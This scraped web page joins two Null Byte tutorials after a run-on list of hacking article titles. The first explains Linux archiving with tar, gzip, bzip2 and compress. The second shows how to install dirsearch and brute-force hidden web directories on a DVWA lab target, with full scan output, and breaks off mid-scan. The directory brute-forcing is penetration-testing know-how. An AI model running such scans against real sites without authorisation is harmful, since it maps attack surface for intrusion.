System)Hack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 2 (Setting Up the Basic Configuration)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)How To:Detect network intrusions with Wireshark and SnortNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Create a Nearly Undetectable Backdoor with CryptcatHack Like a Pro:Snort IDS for the Aspiring Hacker, Part 3 (Sending Intrusion Alerts to MySQL)Hack Like a Pro:Snort IDS for the Aspiring Hacker, Part 1 (Installing Snort)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:An Introduction to Regular Expressions, Part 2How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:How to Compile a New Hacking Tool in KaliHack Like a Pro:How to Create Your Own PRISM-Like Spy ToolHack Like a Pro:How to Spy on Anyone, Part 3 (Catching a Terrorist)Hack Like a Pro:Creating a Virtually Undetectable Covert Channel with RECUBHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)How To:The Five Phases of HackingHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 2 (Dissecting ClamAV)Hack Like a Pro:An Introduction to Regular Expressions (Regex)Hack Like a Pro:How Antivirus Software Works & How to Evade It, Pt. 1News:What to Expect from Null Byte in 2015Hack Like a Pro:Networking Basics for the Aspiring Hacker, Part 2 (TCP/IP)Hack Like a Pro:How to Change the Signature of Metasploit Payloads to Evade Antivirus DetectionHack Like a Pro:How to Evade AV Detection with Veil-EvasionHacking macOS:How to Create an Undetectable PayloadHow To:How Hackers Stole Your Credit Card Data in the Cyber Attack on Target StoresHack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How to Hack Wi-Fi:Creating an Invisible Rogue Access Point to Siphon Off Data UndetectedHow To:Become a Computer Forensics Pro with This $29 TrainingIPsec Tools of the Trade:Don't Bring a Knife to a GunfightHow To:The Official Google+ Insider's Guide IndexLevitation Challenge:Evading ArrestHack Like a Pro:Hacking Samba on Ubuntu and Installing the Meterpreter |
Linux Basics for the Aspiring Hacker: Archiving & Compressing Files « Null Byte :: WonderHowTo | When usingLinux, we often need to installnew software, a script, or numerous large files. To make things easier on us, these files are usually compressed and combined together into a single file with a .tar extension, which makes them easier to download, since it's one smaller file.As a Linux user, we need to understand how to decompress .tar files and extract what is in them. At the same time, we need to understand how to compress and combine these files into a .tar when we need to send files.Those of you who come from the Windows world (most of you), are probably familiar withthe .zip format. The .zip utility built into Windows lets you take several files and combine them into a single folder, then compress that folder to make it smaller for transferring over the internet or removable storage. The process we are addressing here in this tutorial is the equivalent of zipping and unzipping in the Windows world.Previously:Configuring Apache in LinuxWhat Is Compression?Compression is an interesting subject that I will have to expand upon in another tutorial at a later time. Basically, there are at least two categories of compression: lossy and lossless.Lossy compression loses the integrity of the information. In other words, the compressed/decompressed file is not exactly the same as the original. This works great for graphics, video, and audio files where a smaller difference in the file is hardly noticed (.mp3 and .jpg are both lossy compression algorithms).When sending files or software, lossy compression is not acceptable. We must have integrity with the original file when it is decompressed. That's the type of compression we are discussing here (lossless), and it is available from a number of different utilities and algorithms.(More on all of this in a later tutorial.)Step 1: Tarring Files TogetherIn most cases, when archiving or combining files, thetarcommand is used in Linux/Unix. Tar stands fortape archive, a reference to the prehistoric days of computing when systems used tape to store data. Tar is used to create one single file from many files. These files are then often referred to as an archive, tar file, or tarball.For instance, say we had three files, nullbyte1, nullbyte2, and nullbyte3. We can clearly see them below when we do along listing.kali > ls -lLet's say we want to send all three of these files to a friend. We can combine them together and create a single archive file by using the following command:kali > tar -cvf NB.tar nullbyte1 nullbyte2 nullbyte3Let's break down that command to better understand:taris the archiving command-cmeans create-vmeans verbose (optional)-fwrite or read from the following fileNB.taris the new file name we wantThis will take all three files and create a single file, NB.tar, as seen below, when we do another long listing of the directory.Please note the size of the tarball. When the three files are archived, tar uses significant overhead to do so. The sum of the three files before archiving was 72 bytes. After archiving, the tarball has grown to 10,240 bytes. The archiving process has added over 1,000 bytes. Although this overhead can be significant with small files, this overhead becomes less and less significant with larger and larger files.We can then display those files from the tarball by using the tar command, then the-tswitch to display the files, as seen below.kali > -tvf NB.tarWe can then extract those files from the tarball by using the tar command and then the-xswitch to extract the files, as seen above.kali > tar -xvf NB.tarFinally, if we want to extract the files and do so "silently," we can remove the-vswitch, and tar extracts the files without showing us any output.kali > tar -xf NB.tarStep 2: Compressing FilesTar is capable of taking many files and making them into one archived file, but what if want to compress those files, as well? We have three commands in Linux capable of creating compressed files:gzip(.tar.gz or .tgz)bzip2(tar.bz2)compress(.tar.Z)Theyallare capable of compressing our files, but they use different compression algorithms and have different compression ratios (the amount they can compress the files).Using GzipLet's try gzip (GNU zip) first, as it is the most commonly used compression utility in Linux. We can compress our NB.tar file by typing:kali > gzip NB.*Notice that I used the wild card (*) for my file extension meaning that the command should apply to any file that begins with "NB" with any file extension. I will use similar notation for the following examples. When we do a long listing on the directory, we can see that it has changed the file extension to .tar.gz, and the file size has been compressed to just 231 bytes!We can then decompress that same file by using thegunzip(GNU unzip) command.kali > gunzip NB.*When we do, the file is no longer saved with the .tar.gz extension, and has now returned to its original size of 10,240 bytes.Using Bzip2One of the other widely used compression utilities in Linux is bzip2. It works similarly to gzip, but with better compression ratios. We can compress our NB.tar file by typing:kali > bzip2 NB.*As you can see in the screenshot above, bzip2 has compressed the file down to just 222 bytes! Also note that the file extension now is .tar.bz2.To uncompress the compressed file, usebunzip2(b unzip 2).kali > bunzip2 NB.*When we do, the file returns to its original size and its file extension returns to .tar.Using CompressFinally, we can use the commandcompressto compress the file. This is probably the least commonly used compression utility, but it is easy to remember.kali > compress NB.*Note in the screenshot above that the compress utility reduced the size of the file to 395 bytes, almost twice the size of bzip2. Also note that the file extension now is .tar.Z (with a capital Z).To decompress the same file, useuncompressor thegunzipcommand.kali > uncompress NB.*Step 3: Untarring & Uncompressing VMware ToolsNow that we have a basic understanding of these tools, let's use them in a real world example. Many of you, including myself, usingVMware Workstationas a virtualization system. It allows you to run many operating systems on a single physical machine. No one does this better thanVMWare.If you are using VMware Workstation, you probably know that VMware encourages you to download and install itsVMware tools. When you install VMware tools, your guest operating system integrates much better into your host operating system, which includes better graphics performance, drag-and-drop capability, shared folders, and better mouse performance, among other things.Now that we have downloaded VMware tools, you can see that it is a tarball and compressed with gzip. We know this because it has file extension of .tar.gz. So, to decompress it and separate each of the files so that we can use them, we can use the following command:kali > tar -xvzf VMwareTools-.9.6.2-1688356.tar.gzLet's break down that command to better understand:taris the archiving command-xmeans extract-vmeans verbose output-zis used to decompress-fdirects the command to the file that followsWhen we hit enter, the compressed tarball is decompressed and extracted. Hundreds of files are extracted and decompressed from this VMware tarball. Now, we need to only run the script to install these tools.Archiving and compressing are key Linux skills that any hacker/administrator must understand when using Linux. We will continue to explorethe Linux basics in this series, so keep coming back, my aspiring hackers!Next Up:Managing Hard Drives in LinuxFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byMcCarony/Shutterstock; Screenshots by OTW/Null ByteRelatedHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)How To:Create a ZIP Archive Using the Files App on Your iPhoneHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Linux Basics for the Aspiring Hacker: Managing Hard DrivesHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:The Essential Skills to Becoming a Master HackerHow To:Linux Basics for the Aspiring Hacker: Configuring ApacheHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 22 (Samba)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 17 (Client DNS)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 4 (Finding Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 10 (Manipulating Text)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)How To:Archive and compress files with 7-zip softwareHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Recover WinRAR and Zip PasswordsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:A Guide to Steganography, Part 2: How to Hide Files and Archives in Text or Image FilesCommunity Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Recover Deleted Files in LinuxGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 7 - Legal HackerGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Use Cygwin to Run Linux Apps on WindowsGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:First Steps of Compiling a Program in LinuxCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 5 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack Them |
How to Find Hidden Web Directories with Dirsearch « Null Byte :: WonderHowTo | One of the first steps when pentesting a website should be scanning for hidden directories. It is essential for finding valuable information or potential attack vectors that might otherwise be unseen on the public-facing site. There are many tools out there that will perform the brute-forcing process, but not all are created equally.Dirsearch is a tool written inPythonused tobrute-forcehidden web directories and files. It can run onWindows,Linux, andmacOS, and it offers a simple, yet powerful command-line interface. With features such as multithreading, proxy support, request delaying, user agent randomization, and support for multiple extensions, dirsearch is a strong contender in the directory scanner arena.Don't Miss:Scan Websites for Interesting Directories & Files with GobusterDirBusteris often thought of as the de facto brute-force scanner, but it is written inJavaand only offers a GUI, which can make it sort of clunky. Dirsearch is command-line only, and having been written in Python makes it easier to integrate into scripts and other existing projects.DIRBis another popular directory scanner, but it lacks multithreading, making dirsearch the clear winner when it comes to speed.Dirsearch shines when it comes to recursive scanning. So for every directory it finds, it will go back through and crawl that directory for any additional directories. Recursive scanning, along with its speed and simple command-line usage, make dirsearch a powerful tool that every hacker and pentester should know how to use.Below, we will be usingDVWAonMetasploitable 2as the target, andKali Linuxas our local machine. You can use a similar setup if you want to follow along.Installing DirsearchThe first thing we need to do is install dirsearch fromGitHub. The easiest way to do this is withgit. So if it's not already installed on your system, do so with the following command in the terminal:~# apt-get update && apt-get install gitNow we can use thegit clonecommand to clone the directory where the tool is located:~# git clone https://github.com/maurosoria/dirsearch
Cloning into 'dirsearch'...
remote: Enumerating objects: 26, done.
remote: Counting objects: 100% (26/26), done.
remote: Compressing objects: 100% (22/22), done.
remote: Total 1661 (delta 7), reused 13 (delta 4), pack-reused 1635
Receiving objects: 100% (1661/1661), 17.70 MiB | 7.04 MiB/s, done.
Resolving deltas: 100% (954/954), done.Next, change into the newly created directory with thecdcommand:~# cd dirsearch/And uselsto verify everything is there:~/dirsearch# ls
CHANGELOG.md db default.conf dirsearch.py lib logs README.md reports thirdpartyConfiguring DirsearchWith the installation out of the way, we can now run dirsearch, and we can do so in a few different ways.1. Run Dirsearch Using PythonThe first is to simply run it with Python, although it needs Python 3 to work correctly. We can see below that it gives us a brief usage example, telling us we need to specify avalid URL(we'll get to that soon).~/dirsearch# python3 dirsearch.py
URL target is missing, try using -u <url>2. Run Dirsearch Using BashThe next way we can run dirsearch is withBash. Usingls -lawill give us the permissions of everything in this directory, and we can see that the tool is executable.~/dirsearch# ls -la
total 52
drwxr-xr-x 8 root root 4096 Jul 8 12:35 .
drwxr-xr-x 31 root root 4096 Jul 8 12:36 ..
-rw-r--r-- 1 root root 1426 Jul 8 12:35 CHANGELOG.md
drwxr-xr-x 2 root root 4096 Jul 8 12:35 db
-rw-r--r-- 1 root root 403 Jul 8 12:35 default.conf
-rwxr-xr-x 1 root root 1352 Jul 8 12:35 dirsearch.py
drwxr-xr-x 8 root root 4096 Jul 8 12:35 .git
-rw-r--r-- 1 root root 109 Jul 8 12:35 .gitignore
drwxr-xr-x 9 root root 4096 Jul 8 12:36 lib
drwxr-xr-x 2 root root 4096 Jul 8 12:35 logs
-rw-r--r-- 1 root root 1376 Jul 8 12:35 README.md
drwxr-xr-x 2 root root 4096 Jul 8 12:35 reports
drwxr-xr-x 8 root root 4096 Jul 8 12:36 thirdpartySo all we have to do to run it is use the dot-slash, which is basically the relative path to a file in the current directory:~/dirsearch# ./dirsearch.py
URL target is missing, try using -u <url>3. Run Dirsearch Using a Symbolic LinkThe last way to run dirsearch, which is my preferred method, is to create asymbolic linkin the/bindirectory. This will allow us to run the tool from anywhere, as opposed to only in the directory cloned from GitHub.First, change into the /bin directory:~/dirsearch# cd /bin/Then, create a symbolic link to the tool using theln -scommand:/bin# ln -s ~/dirsearch/dirsearch.py dirsearchHere I am naming it dirsearch, so when I rundirsearchnow in the terminal, the tool will be able to run from any directory. Now, let's go back to our home directory before we go any further:/bin# cdScanning with DirsearchNow when we typedirsearchin the terminal, we get the same usage message from before:~# dirsearch
URL target is missing, try using -u <url>To get a more detailed usage example and the full help menu, use the-hflag:~# dirsearch -h
Usage: dirsearch [-u|--url] target [-e|--extensions] extensions [options]
Options:
-h, --help show this help message and exit
Mandatory:
-u URL, --url=URL URL target
-L URLLIST, --url-list=URLLIST
URL list target
-e EXTENSIONS, --extensions=EXTENSIONS
Extension list separated by comma (Example: php,asp)
Dictionary Settings:
-w WORDLIST, --wordlist=WORDLIST
-l, --lowercase
-f, --force-extensions
Force extensions for every wordlist entry (like in
DirBuster)
General Settings:
-s DELAY, --delay=DELAY
Delay between requests (float number)
-r, --recursive Bruteforce recursively
-R RECURSIVE_LEVEL_MAX, --recursive-level-max=RECURSIVE_LEVEL_MAX
Max recursion level (subdirs) (Default: 1 [only
rootdir + 1 dir])
--suppress-empty, --suppress-empty
--scan-subdir=SCANSUBDIRS, --scan-subdirs=SCANSUBDIRS
Scan subdirectories of the given -u|--url (separated
by comma)
--exclude-subdir=EXCLUDESUBDIRS, --exclude-subdirs=EXCLUDESUBDIRS
Exclude the following subdirectories during recursive
scan (separated by comma)
-t THREADSCOUNT, --threads=THREADSCOUNT
Number of Threads
-x EXCLUDESTATUSCODES, --exclude-status=EXCLUDESTATUSCODES
Exclude status code, separated by comma (example: 301,
500)
-c COOKIE, --cookie=COOKIE
--ua=USERAGENT, --user-agent=USERAGENT
-F, --follow-redirects
-H HEADERS, --header=HEADERS
Headers to add (example: --header "Referer:
example.com" --header "User-Agent: IE"
--random-agents, --random-user-agents
Connection Settings:
--timeout=TIMEOUT Connection timeout
--ip=IP Resolve name to IP address
--proxy=HTTPPROXY, --http-proxy=HTTPPROXY
Http Proxy (example: localhost:8080
--http-method=HTTPMETHOD
Method to use, default: GET, possible also: HEAD;POST
--max-retries=MAXRETRIES
-b, --request-by-hostname
By default dirsearch will request by IP for speed.
This forces requests by hostname
Reports:
--simple-report=SIMPLEOUTPUTFILE
Only found paths
--plain-text-report=PLAINTEXTOUTPUTFILE
Found paths with status codes
--json-report=JSONOUTPUTFILEWe can see that this tool has a ton of options and potential configuration settings, but in this tutorial, we will focus on some of the more important ones.At a minimum, dirsearch needs a URL and at least one file extension to run. For example, we can specify a valid URL with the-uflag, and a file extension to search for with the-eflag:~# dirsearch -u http://10.10.0.50/dvwa -e php
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6009
Error Log: /root/dirsearch/logs/errors-19-07-08_12-51-20.log
Target: http://10.10.0.50/dvwa
[12:51:20] Starting:
[12:51:21] 403 - 299B - /dvwa/.ht_wsr.txt
[12:51:21] 403 - 292B - /dvwa/.hta
[12:51:21] 403 - 301B - /dvwa/.htaccess-dev
[12:51:21] 403 - 303B - /dvwa/.htaccess-marco
[12:51:21] 403 - 303B - /dvwa/.htaccess-local
[12:51:21] 403 - 301B - /dvwa/.htaccess.BAK
[12:51:21] 403 - 302B - /dvwa/.htaccess.bak1
[12:51:21] 403 - 301B - /dvwa/.htaccess.old
[12:51:21] 403 - 302B - /dvwa/.htaccess.save
[12:51:21] 403 - 304B - /dvwa/.htaccess.sample
[12:51:21] 403 - 302B - /dvwa/.htaccess.orig
[12:51:21] 403 - 303B - /dvwa/.htaccess_extra
[12:51:21] 403 - 300B - /dvwa/.htaccess_sc
[12:51:21] 403 - 300B - /dvwa/.htaccessBAK
[12:51:21] 403 - 300B - /dvwa/.htaccessOLD
[12:51:21] 403 - 298B - /dvwa/.htaccess~
[12:51:21] 403 - 296B - /dvwa/.htgroup
[12:51:21] 403 - 302B - /dvwa/.htaccess_orig
[12:51:21] 403 - 301B - /dvwa/.htpasswd-old
[12:51:21] 403 - 301B - /dvwa/.htaccess.txt
[12:51:21] 403 - 298B - /dvwa/.htpasswds
[12:51:21] 403 - 301B - /dvwa/.htaccessOLD2
[12:51:21] 403 - 302B - /dvwa/.htpasswd_test
[12:51:21] 403 - 296B - /dvwa/.htusers
[12:51:26] 302 - 0B - /dvwa/about.php -> login.php
[12:51:26] 302 - 0B - /dvwa/about -> login.php
[12:51:29] 200 - 5KB - /dvwa/CHANGELOG.txt
[12:51:29] 200 - 5KB - /dvwa/CHANGELOG
[12:51:30] 301 - 319B - /dvwa/config -> http://10.10.0.50/dvwa/config/
[12:51:30] 200 - 907B - /dvwa/config/
[12:51:30] 200 - 32KB - /dvwa/COPYING
[12:51:31] 301 - 317B - /dvwa/docs -> http://10.10.0.50/dvwa/docs/
[12:51:31] 200 - 918B - /dvwa/docs/
[12:51:32] 200 - 1KB - /dvwa/dvwa/
[12:51:32] 200 - 1KB - /dvwa/favicon.ico
[12:51:36] 302 - 0B - /dvwa/ids_log.php -> login.php
[12:51:36] 302 - 0B - /dvwa/index -> login.php
[12:51:36] 302 - 0B - /dvwa/index.php -> login.php
[12:51:36] 302 - 0B - /dvwa/index.php/login/ -> login.php
[12:51:37] 200 - 1KB - /dvwa/login
[12:51:37] 200 - 1KB - /dvwa/login/cpanel.php
[12:51:38] 200 - 1KB - /dvwa/login.php
[12:51:38] 200 - 1KB - /dvwa/login/
[12:51:38] 200 - 1KB - /dvwa/login/administrator/
[12:51:38] 200 - 1KB - /dvwa/login/admin/
[12:51:38] 200 - 1KB - /dvwa/login/admin/admin.asp
[12:51:38] 200 - 1KB - /dvwa/login/cpanel/
[12:51:38] 200 - 1KB - /dvwa/login/login
[12:51:39] 200 - 1KB - /dvwa/login/index
[12:51:40] 200 - 1KB - /dvwa/login/super
[12:51:40] 302 - 0B - /dvwa/logout -> login.php
[12:51:40] 302 - 0B - /dvwa/logout/ -> login.php
[12:51:41] 200 - 148B - /dvwa/php.ini
[12:51:41] 200 - 1KB - /dvwa/login/oauth/
[12:51:42] 200 - 5KB - /dvwa/README
[12:51:42] 200 - 5KB - /dvwa/README.txt
[12:51:43] 200 - 26B - /dvwa/robots.txt
[12:51:43] 302 - 0B - /dvwa/phpinfo -> login.php
[12:51:44] 302 - 0B - /dvwa/phpinfo.php -> login.php
[12:51:45] 302 - 0B - /dvwa/security -> login.php
[12:51:46] 302 - 0B - /dvwa/security/ -> login.php
[12:51:46] 200 - 3KB - /dvwa/setup
[12:51:46] 200 - 3KB - /dvwa/setup.php
[12:51:46] 200 - 3KB - /dvwa/setup/
Task CompletedAfter it kicks off, it gives us information about the extensions, HTTP methods in use, number of threads, and size of the currentwordlist(in this case just the default). Then, it starts to crawl the directories and returns what it finds, including the status code, size, and directory name.We can use the-xflag to exclude certain HTTP status codes. For example, let's leave out any 403 codes:~# dirsearch -u http://10.10.0.50/dvwa -e php -x 403
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6009
Error Log: /root/dirsearch/logs/errors-19-07-08_12-53-21.log
Target: http://10.10.0.50/dvwa
[12:53:21] Starting:
[12:53:27] 302 - 0B - /dvwa/about -> login.php
[12:53:27] 302 - 0B - /dvwa/about.php -> login.php
[12:53:29] 200 - 5KB - /dvwa/CHANGELOG
[12:53:29] 200 - 5KB - /dvwa/CHANGELOG.txt
[12:53:30] 301 - 319B - /dvwa/config -> http://10.10.0.50/dvwa/config/
[12:53:30] 200 - 907B - /dvwa/config/
[12:53:30] 200 - 32KB - /dvwa/COPYING
[12:53:31] 301 - 317B - /dvwa/docs -> http://10.10.0.50/dvwa/docs/
[12:53:31] 200 - 918B - /dvwa/docs/
[12:53:31] 200 - 1KB - /dvwa/dvwa/
[12:53:32] 200 - 1KB - /dvwa/favicon.ico
[12:53:35] 302 - 0B - /dvwa/index.php/login/ -> login.php
[12:53:35] 302 - 0B - /dvwa/ids_log.php -> login.php
[12:53:35] 302 - 0B - /dvwa/index.php -> login.php
[12:53:35] 302 - 0B - /dvwa/index -> login.php
[12:53:36] 200 - 1KB - /dvwa/login.php
[12:53:36] 200 - 1KB - /dvwa/login/admin/admin.asp
[12:53:36] 200 - 1KB - /dvwa/login
[12:53:36] 200 - 1KB - /dvwa/login/administrator/
[12:53:37] 200 - 1KB - /dvwa/login/admin/
[12:53:37] 200 - 1KB - /dvwa/login/cpanel/
[12:53:37] 200 - 1KB - /dvwa/login/
[12:53:37] 200 - 1KB - /dvwa/login/cpanel.php
[12:53:37] 200 - 1KB - /dvwa/login/login
[12:53:37] 200 - 1KB - /dvwa/login/index
[12:53:39] 200 - 1KB - /dvwa/login/super
[12:53:39] 200 - 1KB - /dvwa/login/oauth/
[12:53:39] 200 - 148B - /dvwa/php.ini
[12:53:40] 302 - 0B - /dvwa/logout -> login.php
[12:53:40] 302 - 0B - /dvwa/logout/ -> login.php
[12:53:41] 200 - 5KB - /dvwa/README
[12:53:41] 200 - 5KB - /dvwa/README.txt
[12:53:41] 200 - 26B - /dvwa/robots.txt
[12:53:42] 302 - 0B - /dvwa/phpinfo.php -> login.php
[12:53:43] 302 - 0B - /dvwa/phpinfo -> login.php
[12:53:45] 302 - 0B - /dvwa/security -> login.php
[12:53:45] 302 - 0B - /dvwa/security/ -> login.php
[12:53:45] 200 - 3KB - /dvwa/setup
[12:53:45] 200 - 3KB - /dvwa/setup.php
[12:53:46] 200 - 3KB - /dvwa/setup/
Task CompletedThat can make the results a little cleaner, depending on what we are after. We can also specify multiple codes to exclude by separating them with commas.We can tell dirsearch to use a wordlist of our choice by setting the-wflag:~# dirsearch -u http://10.10.0.50/dvwa -e php -x 403,301,302 -w /usr/share/wordlists/wfuzz/general/common.txt
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 949
Error Log: /root/dirsearch/logs/errors-19-07-08_12-57-43.log
Target: http://10.10.0.50/dvwa
[12:57:43] Starting:
[12:57:47] 200 - 1KB - /dvwa/login
[12:57:47] 200 - 3KB - /dvwa/setup
Task CompletedWe can see that it didn't find as many results with this particular wordlist, which makes sense because the size is smaller.The real power of dirsearch is its ability to perform recursive directory scanning. To run the recursive search, simply tack on the-rflag:~# dirsearch -u http://10.10.0.50/dvwa -e php -x 403,301,302 -r
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6009 | Recursion level: 1
Error Log: /root/dirsearch/logs/errors-19-07-08_13-00-35.log
Target: http://10.10.0.50/dvwa
[13:00:35] Starting:
[13:00:44] 200 - 5KB - /dvwa/CHANGELOG
[13:00:44] 200 - 5KB - /dvwa/CHANGELOG.txt
[13:00:44] 200 - 907B - /dvwa/config/
[13:00:45] 200 - 32KB - /dvwa/COPYING
[13:00:45] 200 - 918B - /dvwa/docs/
[13:00:46] 200 - 1KB - /dvwa/dvwa/
[13:00:46] 200 - 1KB - /dvwa/favicon.ico
[13:00:51] 200 - 1KB - /dvwa/login.php
[13:00:51] 200 - 1KB - /dvwa/login/admin/
[13:00:51] 200 - 1KB - /dvwa/login
[13:00:51] 200 - 1KB - /dvwa/login/administrator/
[13:00:51] 200 - 1KB - /dvwa/login/index
[13:00:51] 200 - 1KB - /dvwa/login/cpanel/
[13:00:52] 200 - 1KB - /dvwa/login/
[13:00:52] 200 - 1KB - /dvwa/login/admin/admin.asp
[13:00:52] 200 - 1KB - /dvwa/login/cpanel.php
[13:00:53] 200 - 1KB - /dvwa/login/login
[13:00:54] 200 - 1KB - /dvwa/login/oauth/
[13:00:55] 200 - 148B - /dvwa/php.ini
[13:00:55] 200 - 1KB - /dvwa/login/super
[13:00:56] 200 - 5KB - /dvwa/README
[13:00:56] 200 - 5KB - /dvwa/README.txt
[13:00:57] 200 - 26B - /dvwa/robots.txt
[13:01:00] 200 - 3KB - /dvwa/setup.php
[13:01:00] 200 - 3KB - /dvwa/setup/
[13:01:00] 200 - 3KB - /dvwa/setup
[13:01:02] Starting: config/
[13:01:10] 200 - 576B - /dvwa/config/config.inc.php~
[13:01:12] 200 - 0B - /dvwa/config/config.inc
[13:01:12] 200 - 0B - /dvwa/config/config.inc.phpOnce it completes the initial scan, it will go back through and scan each directory it found recursively. For instance, we can see it start scanning thedocsdirectory:[13:01:23] Starting: docs/
CTRL+C detected: Pausing threads, please wait...
[e]xit / [c]ontinue / [n]ext: n
[13:01:35] Starting: dvwa/
[13:01:47] 200 - 1KB - /dvwa/dvwa/includes/
[13:01:56] Starting: login/
CTRL+C detected: Pausing threads, please wait...
[e]xit / [c]ontinue / [n]ext: eWe can also pause the scan at any time with a keyboard interrupt. Pressingewill exit the scan completely,cwill continue where it left off, andnwill move on to the next directory. These give us some control over the results since recursive scanning can often take quite some time.Using it like this will only recursively search one level deep. To set the recursion level to a deeper value, use the-Rflag followed by how many levels deep to go:~# dirsearch -u http://10.10.0.50/dvwa -e php -x 403,301,302 -r -R 3
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6009 | Recursion level: 3
Error Log: /root/dirsearch/logs/errors-19-07-08_13-04-30.log
Target: http://10.10.0.50/dvwa
[13:04:31] Starting:
[13:04:39] 200 - 5KB - /dvwa/CHANGELOG
[13:04:39] 200 - 5KB - /dvwa/CHANGELOG.txt
[13:04:40] 200 - 907B - /dvwa/config/
[13:04:40] 200 - 32KB - /dvwa/COPYING
[13:04:41] 200 - 918B - /dvwa/docs/
[13:04:41] 200 - 1KB - /dvwa/dvwa/
[13:04:41] 200 - 1KB - /dvwa/favicon.ico
[13:04:47] 200 - 1KB - /dvwa/login.php
[13:04:47] 200 - 1KB - /dvwa/login/cpanel.php
[13:04:47] 200 - 1KB - /dvwa/login
[13:04:47] 200 - 1KB - /dvwa/login/administrator/
[13:04:47] 200 - 1KB - /dvwa/login/admin/
[13:04:47] 200 - 1KB - /dvwa/login/
[13:04:47] 200 - 1KB - /dvwa/login/cpanel/
[13:04:47] 200 - 1KB - /dvwa/login/admin/admin.asp
[13:04:47] 200 - 1KB - /dvwa/login/index
[13:04:48] 200 - 1KB - /dvwa/login/login
[13:04:50] 200 - 148B - /dvwa/php.ini
[13:04:50] 200 - 1KB - /dvwa/login/super
[13:04:50] 200 - 1KB - /dvwa/login/oauth/
[13:04:52] 200 - 5KB - /dvwa/README
[13:04:52] 200 - 5KB - /dvwa/README.txt
[13:04:52] 200 - 26B - /dvwa/robots.txt
[13:04:55] 200 - 3KB - /dvwa/setup
[13:04:55] 200 - 3KB - /dvwa/setup.php
[13:04:56] 200 - 3KB - /dvwa/setup/
[13:04:57] Starting: config/
[13:05:06] 200 - 576B - /dvwa/config/config.inc.php~
[13:05:08] 200 - 0B - /dvwa/config/config.inc.php
[13:05:08] 200 - 0B - /dvwa/config/config.inc
[13:05:18] Starting: docs/
[13:05:39] Starting: dvwa/
[13:05:51] 200 - 1KB - /dvwa/dvwa/includes/We can see down the line, for example, that dirsearch starts scanning the buriedincludesdirectory:[13:07:24] Starting: dvwa/includes/
